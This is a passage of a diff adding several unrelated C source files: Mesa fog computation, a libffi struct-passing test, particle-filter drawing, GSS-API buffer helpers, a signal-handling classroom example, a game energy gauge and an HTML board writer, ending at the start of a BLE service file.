+ * Compute per-vertex fog blend factors from fog coordinates by
+ * evaluating the GL_LINEAR, GL_EXP or GL_EXP2 fog function.
+ * Fog coordinates are distances from the eye (typically between the
+ * near and far clip plane distances).
+ * Note that fogcoords may be negative, if eye z is source absolute
+ * value must be taken earlier.
+ * Fog blend factors are in the range [0,1].
+ */
+static void
+compute_fog_blend_factors(GLcontext *ctx, GLvector4f *out, const GLvector4f *in)
+{
+   GLfloat end  = ctx->Fog.End;
+   GLfloat *v = in->start;
+   GLuint stride = in->stride;
+   GLuint n = in->count;
+   GLfloat (*data)[4] = out->data;
+   GLfloat d;
+   GLuint i;
+
+   out->count = in->count;
+
+   switch (ctx->Fog.Mode) {
+   case GL_LINEAR:
+      if (ctx->Fog.Start == ctx->Fog.End)
+         d = 1.0F;
+      else
+         d = 1.0F / (ctx->Fog.End - ctx->Fog.Start);
+      for ( i = 0 ; i < n ; i++, STRIDE_F(v, stride)) {
+         const GLfloat z = *v;
+         GLfloat f = (end - z) * d;
+	 data[i][0] = CLAMP(f, 0.0F, 1.0F);
+      }
+      break;
+   case GL_EXP:
+      d = ctx->Fog.Density;
+      for ( i = 0 ; i < n ; i++, STRIDE_F(v,stride)) {
+         const GLfloat z = *v;
+         NEG_EXP( data[i][0], d * z );
+      }
+      break;
+   case GL_EXP2:
+      d = ctx->Fog.Density*ctx->Fog.Density;
+      for ( i = 0 ; i < n ; i++, STRIDE_F(v, stride)) {
+         const GLfloat z = *v;
+         NEG_EXP( data[i][0], d * z * z );
+      }
+      break;
+   default:
+      _mesa_problem(ctx, "Bad fog mode in make_fog_coord");
+      return;
+   }
+}
+
+
+static GLboolean
+run_fog_stage(GLcontext *ctx, struct tnl_pipeline_stage *stage)
+{
+   TNLcontext *tnl = TNL_CONTEXT(ctx);
+   struct vertex_buffer *VB = &tnl->vb;
+   struct fog_stage_data *store = FOG_STAGE_DATA(stage);
+   GLvector4f *input;
+
+   if (!ctx->Fog.Enabled || ctx->VertexProgram._Current)
+      return GL_TRUE;
+
+
+   if (ctx->Fog.FogCoordinateSource == GL_FRAGMENT_DEPTH_EXT) {
+      GLuint i;
+      GLfloat *coord;
+      /* Fog is computed from vertex or fragment Z values */
+      /* source = VB->ObjPtr or VB->EyePtr coords */
+      /* dest = VB->AttribPtr[_TNL_ATTRIB_FOG] = fog stage private storage */
+      VB->AttribPtr[_TNL_ATTRIB_FOG] = &store->fogcoord;
+
+      if (!ctx->_NeedEyeCoords) {
+         /* compute fog coords from object coords */
+	 const GLfloat *m = ctx->ModelviewMatrixStack.Top->m;
+	 GLfloat plane[4];
+
+	 /* Use this to store calculated eye z values:
+	  */
+	 input = &store->fogcoord;
+
+	 plane[0] = m[2];
+	 plane[1] = m[6];
+	 plane[2] = m[10];
+	 plane[3] = m[14];
+	 /* Full eye coords weren't required, just calculate the
+	  * eye Z values.
+	  */
+	 _mesa_dotprod_tab[VB->ObjPtr->size]( (GLfloat *) input->data,
+					      4 * sizeof(GLfloat),
+					      VB->ObjPtr, plane );
+
+	 input->count = VB->ObjPtr->count;
+
+	 /* make sure coords are really positive
+	    NOTE should avoid going through array twice */
+	 coord = input->start;
+	 for (i = 0; i < input->count; i++) {
+	    *coord = FABSF(*coord);
+	    STRIDE_F(coord, input->stride);
+	 }
+      }
+      else {
+         /* fog coordinates = eye Z coordinates - need to copy for ABS */
+	 input = &store->fogcoord;
+
+	 if (VB->EyePtr->size < 2)
+	    _mesa_vector4f_clean_elem( VB->EyePtr, VB->Count, 2 );
+
+	 input->stride = 4 * sizeof(GLfloat);
+	 input->count = VB->EyePtr->count;
+	 coord = VB->EyePtr->start;
+	 for (i = 0 ; i < VB->EyePtr->count; i++) {
+	    input->data[i][0] = FABSF(coord[2]);
+	    STRIDE_F(coord, VB->EyePtr->stride);
+	 }
+      }
+   }
+   else {
+      /* use glFogCoord() coordinates */
+      input = VB->AttribPtr[_TNL_ATTRIB_FOG];  /* source data */
+
+      /* input->count may be one if glFogCoord was only called once
+       * before glBegin.  But we need to compute fog for all vertices.
+       */
+      input->count = VB->ObjPtr->count;
+
+      VB->AttribPtr[_TNL_ATTRIB_FOG] = &store->fogcoord;  /* dest data */
+   }
+
+   if (tnl->_DoVertexFog) {
+      /* compute blend factors from fog coordinates */
+      compute_fog_blend_factors( ctx, VB->AttribPtr[_TNL_ATTRIB_FOG], input );
+   }
+   else {
+      /* results = incoming fog coords (compute fog per-fragment later) */
+      VB->AttribPtr[_TNL_ATTRIB_FOG] = input;
+   }
+
+   VB->FogCoordPtr = VB->AttribPtr[_TNL_ATTRIB_FOG];
+   return GL_TRUE;
+}
+
+
+
+/* Called the first time stage->run() is invoked.
+ */
+static GLboolean
+alloc_fog_data(GLcontext *ctx, struct tnl_pipeline_stage *stage)
+{
+   TNLcontext *tnl = TNL_CONTEXT(ctx);
+   struct fog_stage_data *store;
+   stage->privatePtr = MALLOC(sizeof(*store));
+   store = FOG_STAGE_DATA(stage);
+   if (!store)
+      return GL_FALSE;
+
+   _mesa_vector4f_alloc( &store->fogcoord, 0, tnl->vb.Size, 32 );
+
+   if (!inited)
+      init_static_data();
+
+   return GL_TRUE;
+}
+
+
+static void
+free_fog_data(struct tnl_pipeline_stage *stage)
+{
+   struct fog_stage_data *store = FOG_STAGE_DATA(stage);
+   if (store) {
+      _mesa_vector4f_free( &store->fogcoord );
+      FREE( store );
+      stage->privatePtr = NULL;
+   }
+}
+
+
+const struct tnl_pipeline_stage _tnl_fog_coordinate_stage =
+{
+   "build fog coordinates",	/* name */
+   NULL,			/* private_data */
+   alloc_fog_data,		/* dtr */
+   free_fog_data,		/* dtr */
+   NULL,		/* check */
+   run_fog_stage		/* run -- initially set to init. */
+};
diff --git a/pool/shard001/C/0024259_cls_20byte1.c b/pool/shard001/C/0024259_cls_20byte1.c
new file mode 100644
index 0000000000000000000000000000000000000000..41866fe6b990a71dc64b4155f16df10abeb9f4f3
--- /dev/null
+++ b/pool/shard001/C/0024259_cls_20byte1.c
@@ -0,0 +1,98 @@
+/* Area:	ffi_call, closure_call
+   Purpose:	Check structure passing with different structure size.
+		Depending on the ABI. Check overlapping.
+   Limitations:	none.
+   PR:		none.
+   Originator:	<andreast@gcc.gnu.org> 20030828	 */
+
+/* { dg-do run { xfail mips*-*-* arm*-*-* strongarm*-*-* xscale*-*-* } } */
+#include "ffitest.h"
+
+typedef struct cls_struct_20byte {
+  int a;
+  double b;
+  double c;
+} cls_struct_20byte;
+
+cls_struct_20byte cls_struct_20byte_fn(struct cls_struct_20byte a1,
+			    struct cls_struct_20byte a2)
+{
+  struct cls_struct_20byte result;
+
+  result.a = a1.a + a2.a;
+  result.b = a1.b + a2.b;
+  result.c = a1.c + a2.c;
+
+  printf("%d %g %g %d %g %g: %d %g %g\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c,
+	 result.a, result.b, result.c);
+  return result;
+}
+
+static void
+cls_struct_20byte_gn(ffi_cif* cif, void* resp, void** args, void* userdata)
+{
+  struct cls_struct_20byte a1, a2;
+
+  a1 = *(struct cls_struct_20byte*)(args[0]);
+  a2 = *(struct cls_struct_20byte*)(args[1]);
+
+  *(cls_struct_20byte*)resp = cls_struct_20byte_fn(a1, a2);
+}
+
+int main (void)
+{
+  ffi_cif cif;
+#ifndef USING_MMAP
+  static ffi_closure cl;
+#endif
+  ffi_closure *pcl;
+  void* args_dbl[3];
+  ffi_type* cls_struct_fields[4];
+  ffi_type cls_struct_type;
+  ffi_type* dbl_arg_types[3];
+
+#ifdef USING_MMAP
+  pcl = allocate_mmap (sizeof(ffi_closure));
+#else
+  pcl = &cl;
+#endif
+
+  cls_struct_type.size = 0;
+  cls_struct_type.alignment = 0;
+  cls_struct_type.type = FFI_TYPE_STRUCT;
+  cls_struct_type.elements = cls_struct_fields;
+
+  struct cls_struct_20byte g_dbl = { 1, 2.0, 3.0 };
+  struct cls_struct_20byte f_dbl = { 4, 5.0, 7.0 };
+  struct cls_struct_20byte res_dbl;
+
+  cls_struct_fields[0] = &ffi_type_uint32;
+  cls_struct_fields[1] = &ffi_type_double;
+  cls_struct_fields[2] = &ffi_type_double;
+  cls_struct_fields[3] = NULL;
+
+  dbl_arg_types[0] = &cls_struct_type;
+  dbl_arg_types[1] = &cls_struct_type;
+  dbl_arg_types[2] = NULL;
+
+  CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type,
+		     dbl_arg_types) == FFI_OK);
+
+  args_dbl[0] = &g_dbl;
+  args_dbl[1] = &f_dbl;
+  args_dbl[2] = NULL;
+
+  ffi_call(&cif, FFI_FN(cls_struct_20byte_fn), &res_dbl, args_dbl);
+  /* { dg-output "1 2 3 4 5 7: 5 7 10" } */
+  printf("res: %d %g %g\n", res_dbl.a, res_dbl.b, res_dbl.c);
+  /* { dg-output "\nres: 5 7 10" } */
+
+  CHECK(ffi_prep_closure(pcl, &cif, cls_struct_20byte_gn, NULL) == FFI_OK);
+
+  res_dbl = ((cls_struct_20byte(*)(cls_struct_20byte, cls_struct_20byte))(pcl))(g_dbl, f_dbl);
+  /* { dg-output "\n1 2 3 4 5 7: 5 7 10" } */
+  printf("res: %d %g %g\n", res_dbl.a, res_dbl.b, res_dbl.c);
+  /* { dg-output "\nres: 5 7 10" } */
+
+  exit(0);
+}
diff --git a/pool/shard001/C/0024287_pf_draw.c b/pool/shard001/C/0024287_pf_draw.c
new file mode 100644
index 0000000000000000000000000000000000000000..1fdc85de6375a52cbb1ffe086b1bce0dcfd2c7e9
--- /dev/null
+++ b/pool/shard001/C/0024287_pf_draw.c
@@ -0,0 +1,170 @@
+/*
+ *  Player - One Hell of a Robot Server
+ *  Copyright (C) 2003
+ *     Andrew Howard
+ *     Brian Gerkey    
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ */
+
+
+/**************************************************************************
+ * Desc: Particle filter; drawing routines
+ * Author: Andrew Howard
+ * Date: 10 Dec 2002
+ * CVS: $Id: pf_draw.c 8108 2009-07-23 23:03:37Z thjc $
+ *************************************************************************/
+
+#include "config.h"
+
+#include <playerconfig.h>
+
+#ifdef INCLUDE_RTKGUI
+
+#include <assert.h>
+#include <math.h>
+#include <stdlib.h>
+
+
+#include "rtk.h"
+
+#include "pf.h"
+#include "pf_pdf.h"
+#include "pf_kdtree.h"
+
+
+// Draw the statistics
+void pf_draw_statistics(pf_t *pf, rtk_fig_t *fig);
+
+
+// Draw the sample set
+void pf_draw_samples(pf_t *pf, rtk_fig_t *fig, int max_samples)
+{
+  int i;
+  double px, py, pa;
+  pf_sample_set_t *set;
+  pf_sample_t *sample;
+
+  set = pf->sets + pf->current_set;
+  max_samples = MIN(max_samples, set->sample_count);
+
+  for (i = 0; i < max_samples; i++)
+  {
+    sample = set->samples + i;
+
+    px = sample->pose.v[0];
+    py = sample->pose.v[1];
+    pa = sample->pose.v[2];
+
+    //printf("%f %f\n", px, py);
+
+    rtk_fig_point(fig, px, py);
+    rtk_fig_arrow(fig, px, py, pa, 0.1, 0.02);
+    //rtk_fig_rectangle(fig, px, py, 0, 0.1, 0.1, 0);
+  }
+
+  return;
+}
+
+
+// Draw the hitogram (kd tree)
+void pf_draw_hist(pf_t *pf, rtk_fig_t *fig)
+{
+  pf_sample_set_t *set;
+
+  set = pf->sets + pf->current_set;
+
+  rtk_fig_color(fig, 0.0, 0.0, 1.0);
+  pf_kdtree_draw(set->kdtree, fig);
+
+  return;
+}
+
+
+// Draw the CEP statistics
+void pf_draw_cep_stats(pf_t *pf, rtk_fig_t *fig)
+{
+  pf_vector_t mean;
+  double var;
+
+  pf_get_cep_stats(pf, &mean, &var);
+  var = sqrt(var);
+
+  rtk_fig_color(fig, 0, 0, 1);
+  rtk_fig_ellipse(fig, mean.v[0], mean.v[1], mean.v[2], 3 * var, 3 * var, 0);
+
+  return;
+}
+
+
+// Draw the cluster statistics
+void pf_draw_cluster_stats(pf_t *pf, rtk_fig_t *fig)
+{
+  int i;
+  pf_cluster_t *cluster;
+  pf_sample_set_t *set;
+  pf_vector_t mean;
+  pf_matrix_t cov;
+  pf_matrix_t r, d;
+  double weight, o, d1, d2;
+
+  set = pf->sets + pf->current_set;
+
+  for (i = 0; i < set->cluster_count; i++)
+  {
+    cluster = set->clusters + i;
+
+    weight = cluster->weight;
+    mean = cluster->mean;
+    cov = cluster->cov;
+
+    // Compute unitary representation S = R D R^T
+    pf_matrix_unitary(&r, &d, cov);
+
+    /* Debugging
+    printf("mean = \n");
+    pf_vector_fprintf(mean, stdout, "%e");
+    printf("cov = \n");
+    pf_matrix_fprintf(cov, stdout, "%e");
+    printf("r = \n");
+    pf_matrix_fprintf(r, stdout, "%e");
+    printf("d = \n");
+    pf_matrix_fprintf(d, stdout, "%e");
+    */
+
+    // Compute the orientation of the error ellipse (first eigenvector)
+    o = atan2(r.m[1][0], r.m[0][0]);
+    d1 = 6 * sqrt(d.m[0][0]);
+    d2 = 6 * sqrt(d.m[1][1]);
+
+    if (d1 > 1e-3 && d2 > 1e-3)
+    {
+      // Draw the error ellipse
+      rtk_fig_ellipse(fig, mean.v[0], mean.v[1], o, d1, d2, 0);
+      rtk_fig_line_ex(fig, mean.v[0], mean.v[1], o, d1);
+      rtk_fig_line_ex(fig, mean.v[0], mean.v[1], o + M_PI / 2, d2);
+    }
+
+    // Draw a direction indicator
+    rtk_fig_arrow(fig, mean.v[0], mean.v[1], mean.v[2], 0.50, 0.10);
+    rtk_fig_arrow(fig, mean.v[0], mean.v[1], mean.v[2] + 3 * sqrt(cov.m[2][2]), 0.50, 0.10);
+    rtk_fig_arrow(fig, mean.v[0], mean.v[1], mean.v[2] - 3 * sqrt(cov.m[2][2]), 0.50, 0.10);
+  }
+
+  return;
+}
+
+#endif
diff --git a/pool/shard001/C/0024298_gss_utils.c b/pool/shard001/C/0024298_gss_utils.c
new file mode 100644
index 0000000000000000000000000000000000000000..af77265a4fe4969f41ff90264b3618136940ecd0
--- /dev/null
+++ b/pool/shard001/C/0024298_gss_utils.c
@@ -0,0 +1,79 @@
+/*-
+ * Copyright (c) 2005 Doug Rabson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ *	$FreeBSD: src/lib/libgssapi/gss_utils.c,v 1.1 2005/12/29 14:40:20 dfr Exp $
+ */
+
+#include "mech_locl.h"
+RCSID("$Id: gss_utils.c,v 1.1.1.1 2011/06/10 09:34:42 andrew Exp $");
+
+OM_uint32
+_gss_copy_oid(OM_uint32 *minor_status,
+    const gss_OID from_oid, gss_OID to_oid)
+{
+	size_t len = from_oid->length;
+
+	*minor_status = 0;
+	to_oid->elements = malloc(len);
+	if (!to_oid->elements) {
+		to_oid->length = 0;
+		*minor_status = ENOMEM;
+		return GSS_S_FAILURE;
+	}
+	to_oid->length = len;
+	memcpy(to_oid->elements, from_oid->elements, len);
+	return (GSS_S_COMPLETE);
+}
+
+OM_uint32
+_gss_free_oid(OM_uint32 *minor_status, gss_OID oid)
+{
+	*minor_status = 0;
+	if (oid->elements) {
+	    free(oid->elements);
+	    oid->elements = NULL;
+	    oid->length = 0;
+	}
+	return (GSS_S_COMPLETE);
+}
+
+OM_uint32
+_gss_copy_buffer(OM_uint32 *minor_status,
+    const gss_buffer_t from_buf, gss_buffer_t to_buf)
+{
+	size_t len = from_buf->length;
+
+	*minor_status = 0;
+	to_buf->value = malloc(len);
+	if (!to_buf->value) {
+		*minor_status = ENOMEM;
+		to_buf->length = 0;
+		return GSS_S_FAILURE;
+	}
+	to_buf->length = len;
+	memcpy(to_buf->value, from_buf->value, len);
+	return (GSS_S_COMPLETE);
+}
+
diff --git a/pool/shard001/C/0024300_signal_example.c b/pool/shard001/C/0024300_signal_example.c
new file mode 100644
index 0000000000000000000000000000000000000000..acc25bd83aa56f20b9fb3e0134b12a00429280fe
--- /dev/null
+++ b/pool/shard001/C/0024300_signal_example.c
@@ -0,0 +1,65 @@
+/* Example code for Software Systems at Olin College.
+
+Copyright 2014 Allen Downey
+License: Creative Commons Attribution-ShareAlike 3.0
+
+Based on an example from 
+https://raw.githubusercontent.com/twcamper/head-first-c/master/10/math-master.c
+
+Based on an example in Head First C.
+
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <time.h>
+#include <string.h>
+#include <errno.h>
+#include <signal.h>
+
+int score = 0;
+
+int catch_signal(int sig, void (*handler) (int)) {
+    struct sigaction action;
+    action.sa_handler = handler;
+    sigemptyset(&action.sa_mask);
+    action.sa_flags = 0;
+    return sigaction(sig, &action, NULL);
+}
+
+void end_game(int sig)
+{
+    printf("\nFinal score: %i\n", score);
+    exit(EXIT_SUCCESS);
+}
+
+void times_up(int sig) {
+    puts("\nTIME'S UP!");
+    raise(SIGINT);
+}
+
+int main(void) {
+    int a, b, answer;
+    char txt[4];
+    catch_signal(SIGALRM, times_up);
+    catch_signal(SIGINT, end_game);
+    srandom((unsigned int) time(NULL));
+
+    while(1) {
+	a = rand() % 11;
+	b = rand() % 11;
+	printf("\nWhat is %d times %d? ", a, b);
+
+	alarm(5);
+	fgets(txt, 4, stdin);
+
+	answer = atoi(txt);
+	if (answer == a * b) {
+	    score++;
+	} else {
+	    printf("\nWrong! Score: %i\n", score);
+	}
+    }
+    return 0;
+}
diff --git a/pool/shard001/C/0024301_energy_gauge.c b/pool/shard001/C/0024301_energy_gauge.c
new file mode 100644
index 0000000000000000000000000000000000000000..888e8d91e08c35b32966b13d700d24c15ea4d3b2
--- /dev/null
+++ b/pool/shard001/C/0024301_energy_gauge.c
@@ -0,0 +1,199 @@
+/** 
+ * @file energy_gauge.c
+ * @brief Handle displaying of the energy gauge the top score panel
+ *        for the player's spaceship and the current guardian
+ * @created 2007-01-06
+ * @date 2012-08-26
+ * @author Jean-Michel Martin de Santero
+ * @author Bruno Ethvignot
+ */
+/* 
+ * copyright (c) 1998-2015 TLK Games all rights reserved
+ * $Id: energy_gauge.c,v 1.20 2012/08/26 17:09:14 gurumeditation Exp $
+ *
+ * Powermanga is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Powermanga is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ * MA  02110-1301, USA.
+ */
+#include "config.h"
+#include "mangadualist.h"
+#include "tools.h"
+#include "images.h"
+#include "config_file.h"
+#include "display.h"
+#include "electrical_shock.h"
+#include "enemies.h"
+#include "energy_gauge.h"
+#include "guardians.h"
+#include "log_recorder.h"
+#include "shots.h"
+#include "gfx_wrapper.h"
+#include "images.h"
+#include "spaceship.h"
+
+bool energy_gauge_spaceship_is_update = TRUE;
+bool energy_gauge_guard_is_update = TRUE;
+static image gauge_red;
+static image gauge_green;
+static image gauge_blue;
+static const Sint32 GAUGE_SPACESHIP_WIDTH = 100;
+
+static void draw_energy_gauge (Uint32 sizeof_bar, Sint32 energy,
+                               Uint32 coordx, Uint32 energy_max);
+
+/**
+ * Load sprites images of the gauge
+ * @return TRUE if it completed successfully or FALSE otherwise
+ */
+bool
+energy_gauge_once_init (void)
+{
+
+  if (!image_load_single
+      ("graphics/sprites/energy_gauge_red.spr", &gauge_red))
+    {
+      return FALSE;
+    }
+  if (!image_load_single
+      ("graphics/sprites/energy_gauge_green.spr", &gauge_green))
+    {
+      return FALSE;
+    }
+  if (!image_load_single
+      ("graphics/sprites/energy_gauge_blue.spr", &gauge_blue))
+    {
+      return FALSE;
+    }
+  return TRUE;
+}
+
+/**
+ * Convert from data image to PNG file
+ * @return TRUE if successful
+ */
+#ifdef PNG_EXPORT_ENABLE
+bool
+energy_gauge_extract (void)
+{
+  const char *model = EXPORT_DIR "/gauges/energy_gauge-%01d.png";
+  char *filename = memory_allocation (strlen (model) + 1);
+  if (filename == NULL)
+    {
+      LOG_ERR ("not enough memory to allocate %i bytes\n",
+               (Uint32) (strlen (model) + 1));
+      return FALSE;
+    }
+  if (!create_dir (EXPORT_DIR "/gauges"))
+    {
+      free_memory (filename);
+      return FALSE;
+    }
+  free_memory (filename);
+  return TRUE;
+}
+#endif
+
+/**
+ * Release memory used for the images sprites 
+ */
+void
+energy_gauge_free (void)
+{
+  LOG_DBG ("deallocates the memory used by the sprites images");
+  images_free (&gauge_blue, 1, 1, 1);
+  images_free (&gauge_green, 1, 1, 1);
+  images_free (&gauge_red, 1, 1, 1);
+}
+
+/**
+ * Draw the entire gauge in blue
+ */
+void
+energy_gauge_init (void)
+{
+  Sint32 i;
+  for (i = 0; i < 100; i++)
+    {
+      draw_image_in_score (&gauge_blue, 210 + i, 3);
+    }
+}
+
+/**
+ * Display player's ernergy level bar
+ */
+void
+energy_gauge_spaceship_update (void)
+{
+  spaceship_struct *ship = spaceship_get ();
+  if (!energy_gauge_spaceship_is_update)
+    {
+      return;
+    }
+  draw_energy_gauge (GAUGE_SPACESHIP_WIDTH * pixel_size,
+                     ship->spr.energy_level, 210 * pixel_size,
+                     (ship->type * 20 + 20) * pixel_size);
+}
+
+/**
+ * Draw guardian's energy gauge
+ */
+void
+energy_gauge_guardian_update (void)
+{
+  Uint32 energy_level;
+  enemy *guard;
+  if (!energy_gauge_guard_is_update)
+    {
+      return;
+    }
+  guard = guardian->foe[0];
+  if (guard != NULL && guard->displacement == DISPLACEMENT_GUARDIAN)
+    {
+      energy_level =
+        (guard->spr.energy_level * 45) / guard->spr.max_energy_level;
+      draw_energy_gauge (45, energy_level, 10, 45);
+    }
+  else
+    {
+      draw_energy_gauge (45, 0, 10, 45);
+    }
+}
+
+/**
+ * Draw a energy gauge into the top score panel
+ * @param sizeof_bar maximum width of energy barline
+ * @param energy current energy level
+ * @param coordx x coordinate of the ernergy level bar
+ * @param energy_max maximum energy level
+ */
+static void
+draw_energy_gauge (Uint32 sizeof_bar, Sint32 energy, Uint32 coordx,
+                   Uint32 energy_max)
+{
+  Sint32 width;
+  Sint32 coordy = 3 * pixel_size;
+  if (energy > 0)
+    {
+      draw_image_in_score_repeat (&gauge_green, coordx, coordy, energy);
+      draw_image_in_score_repeat (&gauge_red, coordx + energy, coordy,
+                                  energy_max - energy);
+      coordx = coordx + energy_max;
+      width = sizeof_bar - energy_max;
+    }
+  else
+    {
+      width = sizeof_bar;
+    }
+  draw_image_in_score_repeat (&gauge_blue, coordx, coordy, width);
+}
diff --git a/pool/shard001/C/0024305_pl_htmlui_test.c b/pool/shard001/C/0024305_pl_htmlui_test.c
new file mode 100644
index 0000000000000000000000000000000000000000..c6ff41f25c6b621a81b922ef1290319b76019f59
--- /dev/null
+++ b/pool/shard001/C/0024305_pl_htmlui_test.c
@@ -0,0 +1,123 @@
+#include <stdlib.h>
+#include <stdio.h>
+
+#include "data_structs.h"
+#include "board.h"
+#include "data_structs.h"
+#include "PL_ui.h"
+#include "main.h"
+
+void WriteHTML(board_t board [MAX_BOARDSIZE][MAX_BOARDSIZE], char* HTMLName)
+{
+    int i,j,m;
+    FILE *HTML = fopen(HTMLName, "w+");
+    fprintf(HTML,"<html>");
+    fprintf(HTML,"<head>");
+    fprintf(HTML,"<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\" />");
+    fprintf(HTML,"<script src=\"./js/jquery-2.1.1.min.js\"></script>");
+    fprintf(HTML,"<script src=\"./js/reload.js\"></script>");
+    fprintf(HTML,"<script src=\"./js/click.js\"></script>");
+    fprintf(HTML,"<body><center>");
+    //fprintf(HTML,"TEST <br/>TEST2 <br/>TEST3");
+    int board_size = board_get_size();
+    fprintf(HTML,"TRIPLETS GAME (HTML Mode)<br />");
+    if(!finish_game_wrapper(pos))
+    {
+        fprintf(HTML,"Now it's %s's move. (Current move no. %d)", cmp.current_player_move.name, cmp.current_player_move.moves+1);
+    }
+    else
+    {
+        if(G_current_game.game_mode == pvc)
+        {
+            fprintf(HTML,"<b>%s won! (In %d moves!)</b>",cmp.previous_player_move.name, cmp.previous_player_move.moves);
+        }
+        else
+            fprintf(HTML,"<b>%s won! (In %d moves!)</b>",cmp.current_player_move.name, cmp.current_player_move.moves);
+    }
+    fprintf(HTML,"<table>");
+
+    char f=65;
+    for (i=0; i<board_size; i++)
+    {
+        if(i==0)
+        {
+            for(m=0; m<board_size; m++)
+            {
+                if (m==0)
+                {
+                    fprintf(HTML,"<td style=\"border:none;\"></td>");
+                }
+                fprintf(HTML,"<td style=\"border:none;\">%c</td>",f);
+                f++;
+            }
+            fprintf(HTML,"<tr>"); // ROW
+        }
+        else
+        {
+            fprintf(HTML,"<tr>"); // ROW
+        }
+
+        for(j=0; j<board_size; j++) // COLUMN
+        {
+            if(j==0)
+            {
+                fprintf(HTML,"<td style=\"border:none;\">%d</td>",i+1);
+                //fprintf(HTML,"<td>%c</td>",get_current_game_ptr()->board[i][j]);
+                if(get_current_game_ptr()->board[i][j].piece == PIECE)
+                {
+
+                    switch (get_current_game_ptr()->board[i][j].lastPiece)
+                    {
+                    case 0:
+                        fprintf(HTML,"<td id=\"%c%d\"> <img src = \"./move.png\" width = \"40\" height = \"40\" /> </td>",'a'+j,i+1);
+                        break;
+                    case 1:
+                        fprintf(HTML,"<td id=\"%c%d\"> <img src = \"./move_last.png\" width = \"40\" height = \"40\" /> </td>",'a'+j,i+1);
+                        break;
+                    case 2:
+                        fprintf(HTML,"<td id=\"%c%d\"> <img src = \"./move_finish.png\" width = \"40\" height = \"40\" /> </td>",'a'+j,i+1);
+                        break;
+                    case 3:
+                        fprintf(HTML,"<td id=\"%c%d\"> <img src = \"./move_last.png\" width = \"40\" height = \"40\" /> </td>",'a'+j,i+1);
+                        break;
+                    }
+                }
+                else
+                {
+                    fprintf(HTML, "<td id=\"%c%d\"><a href = \"\"></a></td>",'a'+j,i+1);
+                }
+            }
+            else
+            {
+                //fprintf(HTML,"<td>%c</td>",get_current_game_ptr()->board[i][j]);
+                if(get_current_game_ptr()->board[i][j].piece == PIECE)
+                {
+                    switch (get_current_game_ptr()->board[i][j].lastPiece)
+                    {
+                    case 0:
+                        fprintf(HTML,"<td id=\"%c%d\"> <img src = \"./move.png\" width = \"40\" height = \"40\" /> </td>",'a'+j,i+1);
+                        break;
+                    case 1:
+                        fprintf(HTML,"<td id=\"%c%d\"> <img src = \"./move_last.png\" width = \"40\" height = \"40\" /> </td>",'a'+j,i+1);
+                        break;
+                    case 2:
+                        fprintf(HTML,"<td id=\"%c%d\"> <img src = \"./move_finish.png\" width = \"40\" height = \"40\" /> </td>",'a'+j,i+1);
+                        break;
+                    case 3:
+                        fprintf(HTML,"<td id=\"%c%d\"> <img src = \"./move_last.png\" width = \"40\" height = \"40\" /> </td>",'a'+j,i+1);
+                        break;
+                    }
+
+                }
+                else
+                {
+                    fprintf(HTML, "<td id=\"%c%d\"><a href = \"\"></a></td>",'a'+j,i+1);
+                }
+            }
+        }
+        fprintf(HTML,"</tr>");
+    }
+    fprintf(HTML,"</body></center></table>");
+    fclose(HTML);
+}
+
diff --git a/pool/shard001/C/0024306_ble_gpio_test_service.c b/pool/shard001/C/0024306_ble_gpio_test_service.c
new file mode 100644
index 0000000000000000000000000000000000000000..875a0eb090bf5e832cdd054121c687877280fa72
--- /dev/null
+++ b/pool/shard001/C/0024306_ble_gpio_test_service.c
@@ -0,0 +1,294 @@
+/* This file was generated by plugin 'Nordic Semiconductor nRF5x v.1.2.2' (BDS version 1.0.2095.0) */
+
+#include "ble_gpio_test_service.h"
+#include <string.h>
+#include "nordic_common.h"
+#include "ble_srv_common.h"
+#include "app_util.h"
+#include "app_util_bds.h"
+
+#define OPCODE_LENGTH 1 /**< Length of opcode inside GPIO Test Service packet. */
